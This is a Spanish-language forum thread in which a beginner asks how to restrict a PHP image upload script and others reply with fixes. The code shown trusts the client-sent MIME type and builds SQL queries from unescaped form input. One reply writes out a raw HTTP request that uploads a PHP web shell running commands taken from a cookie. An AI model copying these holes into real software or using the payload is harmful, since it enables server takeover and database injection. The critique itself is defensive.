Tengo un problema con mi peque sistema,
mi sistema es uno para subir fotos,
solo quiero que suba solo fotos, por ejemplo jpg, gif
pero no se donde colocar el codigo de comprbar,
bueno es que el, se me ocurrio que que si suvia con el mismo nombre lo remplace por un numero mas, pero cuando subia con espacio o un caracter de simbolo eahi esta el error,
alguien saber como cambiar esto
porfavor es urgente,
Citar<?php
include("config.php");
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>
Citar
porfavor es urgente
:-\ aquí no hacemos la tarea de nadie ;D pero a ver.. te doy una pista, buscate info sobre $_FILES y sus atributos.. tiene la opción de detectar el mime del archivo. Suerte.
hola man gracia pero si se eso me olvide de agregar.
if ($userfile_type=="image/jpeg" || $userfile_type=="image/pjpeg" || $userfile_type=="image/gif" || $userfile_type=="image/bmp")
{}
el problema es no se donde obicarlo esque cada vez que lo ubico me bota error de ubicacion de
}
lo locado en todas partepero sale error
me parece mejor algo así:
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
...
if ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
if(!in_array($userfile_type,$imagetypes)){
echo "<b><CENTER>El Servidor acepta sólo imagenes";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
S2
Hola man Gracias por responder pero nada, ahora ndad puedo subir pucha, que hago
amigo nda no se donde colocar ayudame porfavor yo etrataDO ASI pero nada
Citar<?php
include("config.php");
//include("../../conex.php");
//$link=Conectarse();
//$random_number = $_POST['$random_number'];
$tipo_archivo = $HTTP_POST_FILES['archivo']['type'];
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
if (is_uploaded_file($archivo)) {
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
f ( $archivo_size > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Aviso</CENTER></b>";
exit;
}
$nombreaponer=strtolower($archivo_name);
$alternativo="";
while (@fopen($UPLOAD_DIR.$alternativo.$nombreaponer,"r"))
{
$alternativo++;
}
$nombreaponer=$alternativo.$nombreaponer;
copy($archivo,$UPLOAD_DIR.$nombreaponer);
unlink($archivo);
$url_completa ="$UPLOAD_DIR$nombreaponer";
//$url_completa = "xddd";
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agragar su archivo";
//$ingresar=mysql_query("insert into tabla(titulo,cuerpo) values ('$titulo','$cuerpo')",$link);
}
?>
nada aqui te dejo el codigo de from
Citar</label>
<label>
<textarea name="cuerpo" cols="50" rows="5" id="cuerpo"></textarea>
<br />
<br />
pdf<br />
</label>
<label>
<input name="archivo" type="file" id="archivo" />
<br />
<br />
<input name="pass_delete" type="hidden" value="<? echo $random_number;?>" />
<input name="quien" type="hidden" value="<? echo $quien;?>" />
<input name="fecha" type="hidden" value="<?=fecha() ?>" />
<br />
</label>
<label>
<input type="submit" name="Submit" value="guardar" />
</label>
</form>
fijate si así te funciona:
<?php
include("config.php");
//include("../../conex.php");
//$link=Conectarse();
//$random_number = $_POST['$random_number'];
$archivo = $_FILES['archivo'];
$tag=$_POST["tag"];
$SIZE="1000000";
$UPLOAD_DIR ="../userfotos/";
$imagetypes=array('image/jpeg','image/gif','image/png','image/tiff','image/bmp');
if (is_uploaded_file($archivo)) {
if ($archivo['size'] > $SIZE ) {
echo "<b><CENTER>El Servidor acepta sólo archivos de tamaño menor que $SIZE.";
echo " Ingrese de Nuevo su Archivo</CENTER></b>";
exit;
}
if(!in_array($archivo['type'],$imagetypes)){
echo "<b><CENTER>El Servidor acepta sólo imagenes";
echo " Ingrese de Nuevo su Archivo</CENTER></b>";
exit;
}
$nombreaponer=strtolower(ereg_replace("[^a-zA-Z0-9.]",'_',$archivo['name']));
$alternativo=0;
do{
$nombreposible=$UPLOAD_DIR.($alternativo++).$nombreaponer;
}while(file_exists($nombreposible));
$nombreaponer=$nombreposible;
if(!move_uploaded_file($archivo['tmp_name'],$nombreaponer)){
echo "<b><CENTER>Error: No se a podido subir la imagen...</CENTER></b>";
exit;
}
$url_completa =$nombreaponer;
$ingresar=mysql_query("insert into fotos(titulo,Comentario,url_,tag,pass_delete,categria,url_completa,data,user) values ('$titulo','$cuerpo','$nombreaponer','$tag','$pass_delete','$nombre','$url_completa','$fecha','$quien')",$database_server);
echo "se agrego el archivo ";
echo"<b>";
echo"$nombreaponer";
echo"<br>";
echo"<p>el codigo de delete es</p>";
echo"<b>";
echo "$pass_delete";
echo"<br>";
echo"<b>";
echo '<p><a href="./formulario_upload.php">Subir mas Fotos</a></p>';
} else {
echo "no se puedo agregar su archivo";
}
?>
S2
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota:
Citartelnet web.com 80
POST /test.php HTTP/1.1
Host: web.com
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------15890672924370
Content-Length: 251
-----------------------------15890672924370
Content-Disposition: form-data; name="archivo"; filename="shell.php"
Content-Type: image/png
<?php echo nl2br(htmlspecialchars(system($_COOKIE['eval']), ENT_QUOTES)); ?><br /><?php phpinfo(); ?>
y si le pongo comillas al título y demás puedo causar una inyección sql.
Mejor verifica extensiones basados en strpos tomando los ultimos tres o cuatro carácteres segín la extensión a comparar y devuelves true o false si es permitido o no y asegurate siempre de utilizar mysq escape real string para evitar las inyecciones. Si quieres algo mas avanzado y evitar que se ejecuten via LFI aunque sean subidas con extensión jpg utiliza gd.
Cita de: WHK en 24 Agosto 2009, 05:17 AM
con eso yo fácilmente podría subirle un php y hacer código de ejecución remota
si en realidad no se hablo de seguridad... un buen mecanismo sería comprobar la extensión final del archivo y eliminar extensiones duplicadas si existen... pero bueno... la idea del post no era esa...
S2
Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.
Cita de: WHK en 24 Agosto 2009, 05:48 AM
Y por eso después aparecen las webs expuestas para que menores de 15 años las desfaceen sabiendo que la gente que viene a pedir este tipo de cosas copian y pegan código sin conocer mucho del tema.
Solo es hábito.
creo que también tiene algo de mérito que el solo busque aprender ese tipo de cosas... pero bue... queda en la visión de cada uno...
S2